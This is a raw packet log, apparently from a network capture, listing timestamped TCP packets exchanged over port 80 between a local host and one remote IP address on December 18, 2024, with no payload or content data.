Dec 18, 2024 22:02:42.882210970 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.883090019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.883161068 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.883228064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.883305073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.884254932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.884315014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.884392977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.884444952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.885376930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.885437012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.885497093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.885549068 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.886499882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.886563063 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.886626959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.886684895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.887623072 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.887717009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.887748003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.887842894 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.888787985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.888851881 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.888916969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.888977051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.889856100 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.889913082 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.890026093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.890074968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.891004086 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.891061068 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.891175985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.891221046 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.892152071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.892198086 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.892306089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.892354012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.893435001 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.893481970 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.893681049 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.893729925 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.894622087 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.894670010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.894953012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.894998074 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.895979881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.896030903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.896115065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.896158934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.896838903 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.896889925 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.896945953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.896991014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.897857904 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.897902966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.897989035 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.898032904 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.898945093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.898994923 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.899091959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.899135113 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.900199890 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.900249958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.900391102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.900440931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.901272058 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.901343107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.901395082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.901438951 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.902412891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.902470112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.902499914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.902548075 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.903651953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.903724909 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.904892921 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.904941082 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.907888889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.907905102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.907922029 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.907953024 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.907959938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.907977104 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.908018112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.908664942 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.908719063 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.908991098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.909040928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.910092115 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.910145998 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.910260916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.910305023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.911557913 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.911571980 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.911617994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.958353996 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.958467007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.958538055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.958803892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.958821058 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.958842993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.958842993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.958874941 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.962138891 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.962193966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.964153051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.964201927 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966639996 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966681004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966715097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966738939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966738939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966758013 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966773987 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966783047 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966789007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966804028 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966806889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966825008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966830969 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966844082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966860056 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966876984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966883898 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966893911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.966905117 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.966927052 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.967905998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.967952013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.968017101 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.968131065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.968852043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.968903065 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.969001055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.969047070 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.969986916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.970035076 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.970091105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.970144033 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.971087933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.971134901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.971220016 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.971263885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.972268105 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.972322941 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.972369909 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.972419024 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.973347902 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.973397970 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.973479986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.973527908 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.974560022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.974617958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.974642992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.974694014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.975671053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.975722075 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.975811958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.975862980 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.977004051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.977081060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.977132082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.977178097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.978001118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.978049994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.978128910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.978176117 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.979093075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.979145050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.979192019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.979240894 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.980164051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.980216026 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.980350018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.980396986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.981300116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.981349945 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.981448889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.981497049 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.982639074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.982696056 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.982778072 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.982826948 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.984040976 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.984088898 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.984138012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.984180927 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.984880924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.984929085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.984956026 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.984999895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.985810995 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.985865116 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.985985994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.986036062 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.986968994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.987018108 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:42.987092018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:42.987137079 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.072532892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.072614908 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.072678089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.072740078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.072962999 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.073021889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.073168039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.073226929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.073452950 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.073506117 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.074321985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.074378014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.074461937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.074513912 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.075484037 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.075541019 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.075634003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.075690985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.076711893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.076766014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.076817989 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.076874971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.077725887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.077783108 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.077863932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.077918053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.078896046 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.078957081 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.078999996 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.079052925 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.079984903 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.080043077 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.080132961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.080184937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.081156015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.081279993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.081362009 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.081471920 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.082261086 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.082314014 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.082400084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.082453966 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.083410978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.083466053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.083535910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.083602905 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.084525108 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.084578037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.084656954 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.084716082 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.085642099 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.085697889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.085800886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.085848093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.086786032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.086842060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.086914062 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.086967945 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.087913990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.087984085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.088043928 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.088098049 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.089044094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.089096069 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.089178085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.089237928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.090245008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.090298891 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.090406895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.090459108 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.091320038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.091382980 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.091517925 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.091568947 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.092456102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.092509031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.092608929 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.092662096 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.093627930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.093687057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.093724012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.093777895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.094707966 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.094763994 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.094846010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.094898939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.095839977 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.095896959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.095985889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.096048117 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.097038031 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.097093105 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.097189903 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.097244978 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.098150969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.098212004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.098294973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.098351002 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.099278927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.099361897 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.099407911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.099466085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.100446939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.100503922 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.100637913 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.100689888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.101459026 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.101567030 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.150405884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.150517941 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.150599003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.150684118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.150880098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.150943995 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.151034117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.151087999 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.151768923 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.151825905 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.151918888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.151973009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.152936935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.152993917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.153054953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.153112888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.154015064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.154069901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.154175997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.154232025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.155144930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.155200958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.155291080 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.155363083 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.156325102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.156380892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.156466961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.156526089 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.157435894 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.157496929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.157576084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:43.157633066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:43.158549070 CET	80	49764	185.219.81.135	192.168.2.5
